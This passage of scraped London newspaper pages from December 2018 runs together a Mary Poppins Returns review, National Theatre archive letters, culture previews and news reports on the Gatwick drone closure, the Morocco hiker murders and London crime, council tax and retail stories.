missing FFB share certificate, its flint-hearted president (Colin Firth) will repossess it when Big Ben chimes midnight at the end of the week. Down into this miasma of grief and chaos floats Norlands version of the dea ex machina nominally to whip the kids into shape but really to save Mr Banks. Blunt doesnt sing with Andrewss pitch-perfect power and purity (who does?), but stylishly holds a tune. So does Lin-Manuel Miranda in the Dick Van Dyke role as cheery lamplighter Jack. Their music-hall duet, in which Mary does a reverse Eliza Doolittle by going full cockney while Miranda cheekily nods towards his smash-hit Hamilton with some quickfire (and faintly ribald) proto-rap, is the highlight of highlights. Brolly good show: Emily Blunt shines as Mary Poppins / Jay Maidment The new songs may not brand themselves as indelibly as the old. But they are lyrically smart and melodically echo the 1964 glories with the same relish as the late song-and-dance run-out for Van Dyke. His spryness at 94 seems twice as supernatural as a nanny taking her charges down through the baths plughole, and into the kind of underwater fantasy world where these days you expect to find Julie Andrews battling Aquaman. The old boy mercifully doesnt reprise his famously terrible mockney accent. But Meryl Streep adds Russian emigree to her roster of accents with a scintillating cameo as Marys hilariously deranged, chandelier-swinging cousin Topsy. After all the bitterness in The Devil Wears Prada, its good to see Streep and Blunt getting along. Speaking of the reunited, the casting is practically perfect in every way other than Julie Walterss turn as the housekeeper the identical role she plays in the Paddington movies in which Whishaw voices the bear. With their richly textured depictions of a London of the dateless past, and tales of an unlikely creature arriving out of the blue to remind a troubled father about the curative powers of the childs imagination, the films share enough without that. But that is a droplet of complaint in an ocean of wide-eyed admiration for a movie that shows Disney at its unironic and old-fashioned finest, rooting the warm nostalgia of homage in a self-contained world where being able to fly like a kite (thanks to one of Angela Lansburys magic balloons) never impinges on the emotional realities of a family in crisis. S ince it began life in 1963, the National Theatre has provided the full spectrum of comedy to tragedy - and that's before anyone even steps on a stage. A new book, edited by Daniel Rosenthal, delves into an archive of letters, telegrams, postcards and notes in order to reveal the full history of the capital's biggest theatre. From the origins of the National Theatre at the Old Vic to when it moved to Denys Lasdun's brutalist building on the Southbank in 1976, Dramatic Exchanges traces the ups and downs of artistic directors, acting stars and playwriting legends. For a taste of the rich history, fraught relationships and artistic triumphs within the book's pages, we bring you extracted letters selected by Rosenthal. Read on to discover why John Osborne's mum was so angry in 1966 and how much Richard Bean bet on James Corden winning a Tony. John Osbornes A Bond Honoured opened at the Old Vic on 6 June 1966, to poor reviews, which outraged the playwrights mother. Nellie Osborne, telegram to John Osborne, 7 June 1966 National Theatre MY DEAR SON HOW DARE THESE CRITICS PULL TO PIECES SUCH FINE WORK, FOR TEN YEARS THEY HAVE INSULTED YOUR ART IN THE THEATRE, TO ME THEY JUST SMELL, I HATE THEM, KEEP UP YOUR COURAGE AND GUTS AND DONT LET THEM HURT YOU. PLEASE FORGIVE THIS MESSAGE I AM SO MAD REALLY MAD JOHN AND SAD, KNOWING HOW KIND AND LOYAL YOU ARE TO SO MANY, HOW CRUEL CAN THESE LITTLE WEE MEN GET HOW I HATE THEM YOUR SAD MUM LOVE TO YOU BOTH. Maggie Smith played nine leading roles for the NT from 1963 to 1966. When she took an extended break from the Company, Olivier programmed Congreves comedy The Way of the World (1700), and gave Geraldine McEwan its leading role, Millamant. Laurence Olivier to Maggie Smith, 29 October 1968 The 1969 production of The Way of the World, featuring Geraldine McEwan / National Theatre Darling Mageen, I am so very sorry I have not been able to keep Millamant for you. It just fulfils the needs of the time and there just isnt anything else that does that so well. I do promise we shall devote all energies to building a lovely return for you and hopefully so that you will not miss that particular lady. Please lets see you again very soon. We love you and yours so very much. Always your, Larry Smith to Olivier, 2 November 1968 Dear Larry, What on earth do you expect me to say? I am absolutely heartbroken by your decision but what can I do? You must know that I have now no chance at all to play the one part you have always told me I should. I wish I could accept your reasoning but I cannot even do that there must be some play you could do. Well, whats the point of trying to tell you my feelings. They obviously count for so very little. It was nice of you to say you will devote your energies to my return but really I do not think it would be wise of me to believe that either. Margaret Smith did return to the NT, as Hedda Gabler, in 1970. She starred as Millamant in Ontario in 1976, and in Chichester and London in 1984. Peter Hall succeeded Olivier as NT Director in 1973. In 1976, a few months after the National moved into its new, three-theatre base beside Waterloo Bridge, Howard Brentons Weapons of Happiness, which dramatises a strike in a south London crisp factory, opened at the Lyttelton. Howard Brenton to Peter Hall, 16 December 1976 National Theatre Dear Peter, The Evening Standard has decided to give the best new play award this year to Weapons of Happiness. Its a secret, so please do keep it to yourself, Peter, until its announced on February 2nd. But, in these crabbed paranoid times, lets for once thump on the ceiling and congratulate ourselves, eh? Best wishes, Howard In the spring of 1988, Hall staged Cymbeline, The Tempest and The Winters Tale in the Cottesloe. On 17 April, a few days before Cymbelines first scheduled preview, Hall sacked Sarah Miles as Innogen, and replaced her with Geraldine James. Miles was married to the Oscar-winning screenwriter and playwright Robert Bolt. Robert Bolt to Peter Hall, 18 April 1988 National Theatre Dear Peter, Yesterday morning I wrote you a letter, which congratulated you on Sarahs performance, first seen by me the evening before. Sarah says that you will think I wrote it after yesterdays bombshell, I didnt think you would, but it did show what a vast difference you and I think about her performance. Yours, of course, is the thing that matters. But to hire a star, whose work you knew, or ought to have known, engage her in publicity, continue her working hard on your notes, tell her that she was getting better, tell her that her verse was impeccable, up to the point when there was only one run-through to go before the technical run-throughs, and then quite simply sack her, its simply not on, Peter. Think what a body blow you deliver to her growing reputation. Love, Bob Hall to Bolt, 19 April 1988 Dear Bob, I know what I have done and I wish fervently that I had not had to do it. Sarah has worked hard and willingly. She had made enormous progress, but I dont believe she has shown herself capable of making the final leap and I have, Im afraid, lost confidence in her ability to do so. My only other alternative, which I considered carefully, was to cancel the production entirely. But I felt this was not fair to the other actors. Believe me, Bob, I wish it had never happened. It gives me no pleasure or satisfaction to have had to cause so much unhappiness. Ever, Peter In 1990, Judi Dench, her husband, Michael Williams, and their daughter, Finty, watched David Hares play about Anglican clergymen, Racing Demon, in the Cottesloe . Sent over by Erin Lee from the National Theatre archive - one time use 14/12/2018 / National Theatre Judi Dench to David Hare, March 1990 Dear David, Mike, Fint & I saw [Racing Demon] this evening. I think it the BEST play youve ever written and possibly one of the best plays weve ever seen. Everyone is wonderful in it and Rich has directed it beautifully. Clever you! I feel so jealous I could SPIT. Cant you write me a musical so that I can sit on a chair in a fur hat & nothing else and sing RUDE songs? Devotedly Mike Jude & Fints In November 1991, Alan Bennetts The Madness of George III, which dramatises the Regency Crisis of 1788-89, opened in the Lyttelto, directed by Nicholas Hytner. In the run-up to rehearsals, Bennett had sent Hytner a revised draft, with the following covering letter. Alan Bennett to Nicholas Hytner, 1991 National Theatre Dear Nick, Just one or two points about the text. [] Mrs Fitzherbert [The Prince of Wales mistress] is unresolved (and unexplained). Maybe she should just say My function is to show that you can be passionately interested in interior decoration, curtains, furnishing etc. without being a RAGING NANCY! A propos of which the E. Standard has been having another go at me. Im described as the virile playwright. Love, Alan Bennett to Richard Eyre (NT Director), 19 June 1992 Dear Richard, I saw in the paper George III was playing to 99% capacity. Typically I started worrying about the other 1%. Love, Alan In 2011, Richard Beans One Man, Two Guvnors opened in the Lyttelton. This riotous comedy is set in Brighton in 1963, and starred James Corden as Francis Henshall, a Londoner who has escapades involving copious slapstick. James Corden, email to Richard Bean, 6 July 2011 National Theatre Im loving it Richard, every single night. I will never be able to thank you enough for this part. The only time it isnt fun is five minutes before and 20 minutes after! The knee is OK, just hurts a bit. The truth is I think I actually need to do a bit more (and when I say more, I mean yno some) exercise in the day and Ill be better for it. All is good though, Speak soon James Most of the original company travelled with the production to Broadway, where Corden became one of five nominees for Best Actor at the Tony Awards (announced on 10 June 2012), up against four Americans, including Philip Seymour Hoffman, as Willy Loman in Death of a Salesman. Bean, email to Corden, 10 June 2012 Ive got 50 quid on you. Dont screw up. Rx Corden, email to Bean, 10 June 2012 Im afraid youve wasted your money I think! Its all Hoffman. People who dont have votes seem to want me to win though! He won. These are edited extracts from Dramatic Exchanges: The Lives and Letters of the National Theatre, Selected and Edited by Daniel Rosenthal, published in hardback and ebook by Profile Books. US President Donald Trump and First Lady Melania shared their official White House Christmas portrait this week. The photograph shows the couple standing in the White House Cross Hall framed by two rows of lavishly decorated Christmas trees. It appears to have been taken before the black tie White House Congressional Ball last Saturday, when Melania wore a high-necked silver Celine dress. But photo experts have said they believe the shot might have been tampered with. Vogue.com's Visual Director Emily Rosser told Vogue it's all down to the lighting: Its how theyre lit versus the lighting in the space, she said, it makes them look like cutouts. Photographer and Vogue contributor Daniel Arnold also pointed out the discrepancy between the photo released and the photo shared by Melania on her Instagram account, which he says appears "blurred" to "create a false uniformity, If I were editing and I were ever to do a bad job and it looked fake, I would blur the whole thing he said. Earlier this month the First Lady's choice of White House Christmas decorations went viral - for all the wrong reasons - when commentators including The Thick Of It writer Armando Iannucci compared them to scenes from The Shining and The Handmaid's Tale. According to the Daily Mail, visitors to the White House have even been stealing branches and fake fruit from the red Christmas trees to keep as souvenirs. The perils of going viral... F ashion Sneaker peek These things are so hot theyve got flames: and the new collaboration between cool Japanese brand Sacai and Nike is already setting Instagram alight. Craft work JW Anderson SS19 / WWD/REX/Shutterstock Mums old macrame numbers are making a comeback on the catwalk think more haute hippy than subdued Seventies. Hair apparent Studs, swish and satin: join the waiting list for springs must-grab hair band. Go for gold Carolina Herrera SS19 / WWD/REX/Shutterstock Springs colour is marigold, as seen at Oscar de la Renta and Carolina Herrera. Saddle up Get in line for London designer Kim Joness new collection for Dior Homme. Our advice? Head straight for the saddle belt bag. A$APs already got his. Books Adele by Leila Slimani The beginning of next year sees the much anticipated follow-up from Goncourt prize-winning author Leila Slimani. Adele (Faber & Faber) is centred on a Parisian womans dark sexual urges compulsive reading. Theres been lots of noise around Stormzys new imprint, #Merky Books (its first release, Rise Up, came out last month) so in June everyone will be talking about Chelsea Kwakye and O.re. Ogunbiyis Taking Up Space, which examines diversity in education. Geraldine Quigleys journey to publishing her debut novel, Music Love Drugs War (Penguin), couldnt be more inspiring: after decades in retail she signed up to the WriteNow new writers programme so that she could hone this story about Derry in the Eighties. Then theres John Lanchesters The Wall (Faber & Faber), which feels eerily prescient with Brexit looming, about an island nation thats built a concrete barrier around its coast. Last up is Marlon James, of Booker-winning Seven Killings fame, who returns with Black Leopard, Red Wolf (Hamish Hamilton), which draws on African folklore and history to fantastical effect. The Big Screen Colette starring Keria Knightley / Alamy Stock Photo The Favourite Emma Stone, Olivia Colman and Rachel Weisz get entangled in a royal love triangle. Out 1 Jan. Colette Keira Knightley stars in a sumptuous costume drama about the iconic French novelist. Out 11 Jan. Vice Virtually unrecognisable in this testing biopic of Dick Cheney, could this be Christian Bales second Oscar-winning role? Out 25 Jan. Captain Marvel The world needs more female superheroes. So good thing Brie Larson leads in the latest Marvel universe instalment. Out 8 Mar. The Exhibitions Dior in 1957 / The LIFE Picture Collection/Gett The House of Dior might be synonymous with high French design but Monsieur Dior also enjoyed an enduring love affair with Great Britain (I love English traditions, English politeness, English architecture. I even love English cooking, he said). This special relationship forms a big part of the V&As blockbuster exhibition opening in February, showcasing pieces from 1947 to the present day. Fans of The Crown will delight in the archival snaps of the designer with Princess Margaret, along with the diaphanous gown he designed especially for her 21st birthday. Fashion boffins will love the section dedicated to The New Look, charting the evolution of Diors now iconic Bar Suit. Its the biggest fashion exhibition to hit the V&A since the record-breaking McQueen: Savage Beauty, so book well in advance. Christian Dior: Designer of Dreams. Opens 2 Feb (vam.ac.uk) And three others... 1. Van Gogh and Britain (Tate Britain) Opens 27 Mar 2. Dorothea Tanning (Tate Modern) Opens 27 Feb 3. Phyllida Barlow: Cul-de-sac (Royal Academy)Opens 23 Feb Music Lady Gaga / Rob Latour/REX/Shutterstock Lady Gaga Post-A Star is Born, the stage is set for Gaga to make a flamboyant return to form after the understated Joanne. Stripped back did not suit Gaga. She needs bells. And whistles. The whispers surrounding her sixth album suggest it will contain lots of both. Rihanna Few are the artists who you wish would go reggae. Even fewer are the artists who you wish would make a double album. Rihanna, though? Rihanna going reggae could be cool. Rihanna making a double album half Anti-style experimentalism, half bangers could be even better. Both are supposedly happening. Mahalia We could just roll out the usual list of Brits Critics Choice nominees who went on to great things Or we could talk about Mahalias showstoppingly beautiful voice and the fact that One Night Only is a tune. Dave Streathams finest MC turned 20 this summer, and celebrated soon after with his first No1 single, Funky Friday. But that will be nothing to the Stormzy-size heights he will scale in 2019 when his debut album drops. TV Stranger Things / Courtesy Netflix Sometimes more of the same is a good thing. Last year Big Little Lies (HBO/Sky Atlantic) caught the spirit of the times: suspicion there could never be a sequel turned to anticipation when one was announced for 2019. Killing Eve (BBC) was recommissioned before it even began, though this time writing duties pass to Emerald Fennell, as Phoebe Waller-Bridge is busy on the second season of Fleabag (BBC). Theres a third season of The Crown (Netflix) all teed up, with Olivia Colman taking over queenly duties from Claire Foy, and new seasons of True Detective (HBO), Stranger Things (Netflix) and allegedly Fargo (FX). Fans of Game of Thrones (HBO) have been champing at the bit for next years forthcoming season eight. Elsewhere, old properties are given a new spin, not just in the shape of the unstoppable David Attenborough, whose Our Planet is on Netflix. The BBC is fielding a non-singing adaptation of Victor Hugos Les Miserables starring Lily Collins and David Oyelowo, and a new take on HG Wellss War of the Worlds (also presumably non-singing). There are new series due based on Philip Pullmans His Dark Materials (BBC), graphic novel Watchmen (HBO) and cult Kiwi vampire comedy What We Do in the Shadows (FX). T he suspect arrested over the murder of two Scandinavian tourists in Morocco's Atlas Mountains is connected to a terrorist group, authorities said. The women, who were from Denmark and Norway, were discovered stabbed in the neck on Monday according to local media. State television 2M reported that authorities now believe the murders of the two women was terrorist act. The killings have shocked Morocco, a popular tourist destination where such attacks on foreigners are extremely rare. Media in Norway identified the Norwegian hiker as Maren Ueland, 28. The Danish victim was identified by media in Denmark as Louisa Vesterager Jespersen, 24. Victim: Maren Ueland from Norway / AFP/Getty Images The Rabat public prosecutor's office said in a statement on Wednesday that the only captured suspect has affiliations to a terrorist group, without naming the group. The suspect was arrested in Marrakesh on Tuesday. Three other suspects have been identified and but are still on the run, a security official said. The remote mountainous region where the women were found dead is 6.2 miles from the village of Imlil - often the starting point for treks to Mount Toubkal, North Africa's highest peak. Broadcaster 2M released photos and videos Wednesday of forensic investigators and others working around the women's brightly coloured tent on a rocky hillside. The broadcaster said the tent held food and belongings for three people, including an ID card. Moroccan media outlets reported that investigators have video surveillance footage showing three suspects putting up a tent near the victims' tent and leaving the area after the killings. T he army has been called in to join a police operation against rogue drone pilots accused of deliberately shutting down Gatwick airport and ruining Christmas for tens of thousands of passengers. Airport chiefs said the people responsible for the two drones reported near the runway should be jailed. They would face a maximum sentence of five years. Police said they believed the drones were of an industrial specification. The hunt for the drone operator is ongoing with troops now deployed to assist police. The disruption is expected to last into tomorrow. Defence Secretary Gavin Williamson said: "We will be deploying the armed forces to give them the help that they need to deal with the situation at Gatwick airport. Armed police are seen next to the runway at Gatwick airport as the hunt for a drone operator continues. / Peter Macdiarmid/LNP "Our armed forces are always there to support the civilian authorities." He did not reveal what measures would be deployed but said the army has a "range of unique capabilities." Exhausted passengers at Gatwick / Getty Images Transport Secretary Chris Grayling said those responsible should be handed the 'maximum' five years in jail. Mr Grayling intervened as a huge police hunt was underway for the operators, with the military also called in to support the operation. He said: This is clearly a very serious ongoing incident in which substantial drones have been used to bring about the temporary closure of a major international airport. Drone chaos: Passengers queue while waiting for announcements at Gatwick South Terminal / Getty Images The people who were involved should face the maximum possible custodial sentence for the damage they have done. Drone chaos: Passengers queue while waiting for announcements at Gatwick South Terminal / Getty Images Airport bosses were forced to suspend all flights in and out of Britains second busiest airport because of fears that a collision could bring down an airliner. Today, by noon, about 350 flights due to carry more than 50,000 passengers had been cancelled or diverted to airports as far away as Amsterdam. It is the worst disruption at Gatwick since blizzards shut it down for two days in December 2010. In total 110,000 passengers and 760 flights have been affected since disruption started last night. Aviation experts said it was the first time a major international airport had been completely crippled in this way. There have been a number of drone near-misses reported by airline pilots amid growing fears of a collision. Gatwick chaos - In pictures 1 /21 Gatwick chaos - In pictures Marisa age 10 from West Sussex waiting for a bus to Manchester airport then onto Dubai for a family Christmas Jeremy Selwyn Adele Barber mother and kids Philip James and Elizabeth Just back from their holiday in Lapland to see Father Christmas. They were delayed overnight in Lapland Jeremy Selwyn Elizabeth Barber Just back from a holiday to Lapland to see Father Christmas with family . Jeremy Selwyn Staff try to lift the mood of gloomy travellers Jeremy Selwyn Passengers boarding coaches at Gatwick this morning Jeremy Selwyn Passengers sleep on the floor of the terminal Passengers sleep on the floor of the terminal Passengers sleep on the floor of the terminal Passengers sleep on the floors and seats of the terminal Jeremy Selwyn Passengers head for the coaches to catch redirected flights Jeremy Selwyn Passengers stranded at Gatwick Airport today Jeremy Selwyn Passengers stranded at Gatwick Airport today Jeremy Selwyn Florinane Tarrou and Sandra Shaffner stranded at Gatwick Airport today Jeremy Selwyn Passengers stranded at Gatwick Airport today Jeremy Selwyn Passengers stranded at Gatwick Airport today Jeremy Selwyn Remi Denton 19 and boyfriend Dylan Batley amongst passengers stranded at Gatwick Airport today Jeremy Selwyn Passengers stranded at Gatwick Airport today Jeremy Selwyn Passengers stranded at Gatwick Airport today Jeremy Selwyn Passengers stranded at Gatwick Airport today Jeremy Selwyn Passengers stranded at Gatwick Airport today Jeremy Selwyn Aviation minister Baroness Sugg told the House of Lords that the Ministry of Defence, Home Office, Department for Transport were all engaged in the response. The disruption these drones has caused is extensive and its an ongoing operation, she said. Timeline: How drones forced the closure of Gatwick's runway 9pm, December 19: All flights suspended after two drones were seen near the West Sussex airport 3am, December 20: Airport re-opens its runway after the all clear is given 3.45am: Flights are again grounded after further sightings of drones 7am: Gatwick's chief operating officer, Chris Woodroofe, said drones had been spotted over the airfield again 11.15am: Flights remain suspended "as a result of what appears to be a deliberate attempt to disrupt flights", airport says 2pm: Police unable find the drone operators despite scouring the airport perimeter, with Gatwick saying all flights are grounded until at least 4pm 5pm: Latest update from Gatwick says that runway remains out of operation with no flights arriving or departing Sussex police are in the lead and have officers on the ground. They are doing everything they can to locate the drone and its operators. All relevant parts of Government are involved. Transport Secretary Chris Grayling and Home Secretary Sajid Javid held talks as the crisis evolved. However, the authorities were accused of failing to respond quickly enough. The drones were first spotted just after 9pm last night when Gatwick was closed for the first time, bringing disruption to about 10,000 passengers, mainly on inbound flights. Gatwick briefly reopened in the early hours although no flights came in or out at that time before being shut again at 3.45am. Superintendent Justin Burtenshaw, Gatwick Airport policing commander, said: We believe this to be a deliberate act to disrupt the airport. However, there are absolutely no indications to suggest this is terror-related. Police officers from Surrey and Sussex forces scoured the perimeter with the help of a helicopter but had been unable to track down the operators by late this morning. Mr Burtenshaw added: Each time we believe we get close to the operator, the drone disappears; when we look to reopen the airfield, the drone reappears. There was speculation that a stunt by environmental or political campaigners could be behind the disruption. The Prime Ministers official spokesman described the behaviour of the suspects as irresponsible and completely unacceptable. Passengers wait for information at Gatwick Airport / Jeremy Selwyn Asked if there was any foreign state influence, Theresa Mays spokesman said: The police have been absolutely categorical that they dont believe that there is any terrorist intent. Gatwick Airports chief operating officer Chris Woodroofe said the airport will be closed until at least 4pm. Earlier he said: Im absolutely certain this is a deliberate act. There is a drone on my airfield as we speak. He said 20 police units have been scouring the airport perimeter trying to find the drone operators. Police and airport officials have been considering drastic steps to bring down the drones, including the use of police snipers to shoot them out of the sky. Passengers wait for information at Gatwick Airport after drone pilots sparked chaos / Jeremy Selwyn But Mr Woodroofe told BBC Radio 4s Today programme: The police advise us that it would be dangerous to seek to shoot the drone down because of what may happen to the stray bullets. The police are looking for the operator and that is the way to disable a drone. Passengers were advised not to travel to the airport if their flight is cancelled. Police storming a flight for a disruptive passenger amid chaos at Gatwick airport Gatwicks biggest airline easyJet said in a statement: We advise all customers flying to and from London Gatwick today to not travel to the airport if they are on flights which have been cancelled. Jana Bihary, who was due to fly to Prague with her daughter Grace, six, this evening to visit her seriously ill father, said the drone operators should be jailed. The NHS worker, 39, told the Standard: If it was a one-off incident then no, but this has been going on all night and disrupted airspace to over 12 hours, so yes. Tennis star Laura Robson was caught up in the chaos. The former British No 1, 24, tweeted: Five hours after landing and we have finally disembarked our flight to Gatwick ... in Cardiff. D etectives investigating the death of a pensioner who died of shock after burglars raided her home have recovered her stolen handbag. Maureen Whale, 77, died in hospital after three thugs broke into her house in Barnet where she had lived alone all her life earlier this month. The spinster and Blitz survivor dialled 999 to report the terrifying raid but collapsed while she was on the phone to the operator. Today detectives said they had recovered her handbag containing her belongings stuffed in a hedge in a nearby park, raising hopes of a breakthrough in the manslaughter inquiry. Maureen Whale, seen here on CCTV out shopping, died following a burglary at her home in Barnet Forensic experts are now analysing the bag in the hope it will lead to evidence that could identify the suspects. Detective Chief Inspector Noel McHugh, who is leading the inquiry, said: This is a highly significant discovery by a member of the public. He appealed to anyone who saw three men around Ravenscroft Park between 6pm and 6.30pm on 4 December, the night of the burglary. The burglars - described as white and wearing hats and hoods - targeted three other properties in the area that evening. DCI McHugh added: Had Maureen Whale not been burgled, she would have celebrated her 78th birthday on 13 December and she would now be preparing to celebrate Christmas. I am appealing to burglars and handlers - you will know who is responsible, a wonderful lady is no longer with us due to the callous actions of three burglars, willing to break into a house when an elderly lady was at home alone - you owe them no loyalties. A post-mortem examination gave Ms Whales cause of death as coronary heart disease - death brought on by the stress of the incident, caused by the stress of the break-in. She had not been assaulted. A globetrotting male model left an investments expert with a fractured skull when he crashed into her while rollerblading through the West End, a court heard. Patrick Nodanche, 28, was crouched down and travelling at high speed along Haymarket when he hit 35-year-old Jean Hu, known as JingJing. She was knocked out and suffered bleeding on the brain, Southwark crown court heard. The London Business School graduate, who had worked for Goldman Sachs, had to leave her job with a mining investment firm when lasting effects of the crash ruled out air travel to the firms new office in Singapore. French-born Nodanche, who has worked for Vogue, Tommy Hilfiger, Giorgio Armani and Dolce & Gabbana, admitted inflicting grievous bodily harm. Victim: Jean Hu The 6ft 2in fashion model, who is signed to agencies in London, New York and Milan, was handed a 15-month prison sentence suspended for 18 months. He was also told to do 200 hours of community service, and must pay 500 compensation to Ms Hu. Judge Sally Cahill also seized his skates and banned him from rollerblading in London for the next two years under a criminal behaviour order. He decided to use an unusual form of transport on the public highway, she said. He does not have any brakes and this is almost in the category of having a weapon. He is going down a main busy street, knowing he cant stop. A highly reckless act. The court heard Ms Hu had just left her office in St Jamess Square on October 27 last year, and was crossing Haymarket outside Planet Hollywood when she was struck. Steven Mould, prosecuting, said Nodanche did not intend to cause injury and the offence is based on recklessness rather than intent. He told the court Ms Hu spent eight days in hospital and needed specialist home care. She did not return to work for six months due to enduring tinnitus and difficulties with concentration. A teenager has been found guilty of murdering a 15-year-old boy in an attack which was filmed and shared on social media. Jordan Douherty, who performed as a drill rapper under the name Young Valenti, was knifed to death after a 16th birthday party in east London descended into violence. The schoolboy, from Grays, died from two stab wounds, including a "catastrophic injury" to the heart. He had been chased by a large group of youths outside a community centre in Romford. Footage of the attack was captured on a mobile phone and shared on Snapchat, the Old Bailey heard during a four-week trial. A forensic investigator at the scene of the stabbing in Romford in June / Isabel Infantes/PA On Thursday, a 17-year-old from Newham, who cannot be named, was found guilty of Jordan's murder by a jury of eight women and one man. It came after 21 hours of deliberations. A 16-year-old boy from Dagenham and a 17-year-old boy from Canning Town were also convicted of conspiring to commit grievous bodily harm with intent, while William Nayya-Welly, 20, pleaded guilty to perverting the course of justice before the trial. They will be sentenced on a date to be set next year. The court heard police were called to North Romford Community Centre on June 23 to disperse the crowds, which were captured on CCTV. Prosecutor Duncan Atkinson told jurors: "The evidence shows that a confrontation took place in Clockhouse Lane that resulted in Jordan Douherty being pursued and chased by a large group of young males. A forensic investigator at the scene of the stabbing in Romford / Isabel Infantes/PA "These events unfolded suddenly, unexpectedly and at considerable speed. "From this large group, a smaller young group of males then surrounded Jordan at a time when he fell to the ground. The members of that group proceeded to inflict punches and stamps on him." After the verdicts, judge Anthony Bate revealed a member of the public gallery in the court had been arrested earlier this week for possession of a knife. It is understood a 10-inch blade was seized at the entrance to the public area at the Old Bailey by security staff. The judge assured the court the security measures in place had worked as designed. Police are still hunting five other people suspected to have been involved in the attack / Met Police Responding to the convictions, Det Ch Insp Larry Smith said: It is unbelievable the celebration of a 16th birthday should lead to the death of a teenage boy. Jordan Douherty was stabbed to death for absolutely no reason while he lay helpless on the floor. There is not a modicum of justification for this brutal killing and my heart goes out to Jordans family, who have been devastated by his death. The heartache for the family is a sentence that lasts forever. He warned: Those who carry knives must understand this is not a game, there is not a reset button and you cannot erase the consequences of using a knife Young men are spending the best years of their lives in prison, while the friends they sought to impress slowly forget about them. Young men should understand what a life sentence really is, being caged, missing out on life and being released into a world that has passed them by. S adiq Khan today announced the biggest possible hike in his share of council tax which he claims will fund an extra 300 police officers and tackle the brutal reality of Londons violent crime epidemic. The Mayors share of average bills will increase by 26.28, almost nine per cent up on current levels. This will take the Band D precept paid to City Hall to 320.51 from April. It is the biggest of three successive increases tht Mr Khan has imposed since becoming Mayor in 2016. Shaun Bailey, Mr Khans Tory rival for mayor, said: If the Mayor is going to increase taxes he should have the courtesy to first cut all of his waste at City Hall. He claims 9.3 million a year is being spend on public relations. Mr Bailey said: Mr Khan could have made savings on existing spending cutting PR, Mayors Office for Policing and Crime, and free passes for TfL friends and family that would have paid for more police officers than his tax hike. Mr Khan said the extra income and money raised from business rates would enable him to spend an extra 95 million on policing. Mayoral rival Shaun Bailey criticised Mr Khan for spending too much money on PR / Lucy Young This will include 6.8 million for his violence reduction unit that will use a public health approach to reducing serious crime, after more than 130 homicides in London this year. The number of Met officers has fallen from 31,601 in May 2016 to 29,788 last month. The council tax increase will fund 300 more officers, City Hall said. Mr Khan claimed he had been forced to hike bills because the Government had not given the Met the extra funding it needed. PA A total of 24 of the increase will go to the Met, with the remainder mostly spent on the London fire brigade. The increase is the maximum the Mayor was allowed to propose without holding a referendum. Mr Khan said: My first responsibility is to keep Londoners safe. Over 70 per cent of the Mets funding is controlled by the Government, and ministers have repeatedly refused to reverse the cuts they have made since 2010. As a result the Met has already had to make cuts of some 850m, and I am furious that this is set to continue. The Government is continuing to shift the burden of police funding from government grant to council tax which is deeply regressive and hits the poorest the hardest. The brutal reality of the rise in violent crime and government cuts means that I have little choice but to increase the policing element of the council tax by the maximum amount allowed. The extra cash will fund specialist investigators to disrupt gang violence and new equipment. The hike is due to be rubber-stamped by the London Assembly on February 25. Mr Khan increased bills by 4 in his first year, followed by 14 last year. This followed a four-year freeze in Boris Johnsons first mayoral term and an annual reduction in his second. The City Hall precept was 276 when Mr Johnson left office in 2016. Under Ken Livingstone, the precept rose from 123 in 2000 to 310 in 2008. T housands of pounds were today being raised in memory of a homeless man found dying outside the entrance to the Houses of Parliament. Gyula Remes, 43, was discovered by British Transport Police at Westminster Underground station at about 11pm on Tuesday. Officers administered first aid but the Hungarian national died in hospital early yesterday. A JustGiving appeal set up in his memory had raised more than 2,000 for a homeless charity by 10am today. A message on the page says: Many will rightly want to debate the best thing to do about rough sleeping, but we thought that the best gesture that would be open to everyone across the parliamentary estate might be to donate to Streetlink. According to his friend Gabor Kasza, 22, Mr Remes had been drinking and was given a cigarette, which he suspected was laced with the drug spice. W est End bosses are pinning their hopes on a forecast 186 million last-minute spending frenzy over the final three days before Christmas as struggling retailers slash prices to tempt out bargain hunters. Their prediction of a late surge comes after a Black Friday flop and last weekends dismal weather, which deterred many shoppers from leaving home over a key period for retailers. It would mean a welcome 6.2 million, or 103,000 a minute, ringing through tills for each of the 30 trading hours over the final three days before the holiday break. Jace Tyrrell, chief executive of the New West End Company, said he expected resilient sales over the last shopping weekend and Christmas Eve to be in line with last year, which was in turn one of the strongest for a decade. The short-lived mini-boom may come too late to save Christmas for some retailers but would be a welcome end to one of the toughest trading years on record. It would also provide minor consolation following the embarrassing delay in the start of Elizabeth Line services, which had been due to begin in time for the peak shopping season. Major names such as Debenhams have slashed prices by up to half on womenswear, beauty products and mens shoes in a pre-Christmas sale. Topshop is offering up to 60 per cent off. John Lewis has also got caught up in the discounting bonanza as it honours its never knowingly undersold pledge. Latest trading figures from the department store chain, which has its flagship on Oxford Street, show that its sales were up 1.8 per cent last week compared with last year in part due to price matching competitor promotions. Mr Tyrrell said: This is the second busiest weekend in the lead-up to Christmas after Black Friday and make or break for many retailers. We are anticipating that the 24th being a working day will result in more people staying in the city, and for in-store sales to reach 186m for those three days alone. Last year was one of the strongest Christmas trading periods we have seen in nearly a decade, and while retailers are facing stronger economic headwinds this year, London and the West End have remained resilient. As such we would expect sales over the Christmas Eve weekend to be roughly in line with 2017 totals. I s tough-man director Guy Ritchie entering the world of fashion design? New records filed with Companies House suggest that the Lock, Stock and Two Smoking Barrels director is lining up a new venture. According to recent accounts, Ritchie is now the director of a new company, named Cashmere Caveman. His representatives have yet to comment on the nature of this new venture, but it is thought to be style-focused: the records state that the company relates to specialised design activities. Ritchie has become recognisable for his personal style, which mixes a certain cheeky-chappy east London vibe with the tweed and peaked caps of his rural life of hunting, shooting and fishing. He is also married to Jacquie Ritchie, a successful model, having previously been married to Madonna. The name of the company appears to stem from Ritchies personal approach to style. In a 2017 interview with Lad Bible to promote his film King Arthur, he was asked to define what makes a modern lad. Career pivot: Guy Ritchie goes from film director to fashion designer (Matthew Eisman/Getty Images) / Getty Images The ability to barbecue, he answered, before adding: I quite like the idea that youre a cashmere caveman. Charlie Hunnam, who played the legendary monarch in Ritchies film, must have picked up on the phrase: in a separate interview, he stated that he was trying to cultivate this cashmere caveman look, describing the concept as when youre a bit of double geezer, but enjoy wearing pink shirts. This new direction for Ritchie comes at a busy time. Next year sees the release of his adaptation of Disneys Aladdin, and he is also working on new film Toff Guys with Matthew McConaughey. In addition, he is preparing to open at least two pubs in London one in Fitzrovia and one in Notting Hill with the support of David Beckham and has his own microbrewery on the Dorset/Wiltshire border. Huq: dont quote me without a photo Rupa Huq, MP for Ealing Central and former Londoner favourite, sends us a pre-Christmas message saying she doesnt want to appear in our column unless we use a photo of her. *Disappointed face*. Usually, she 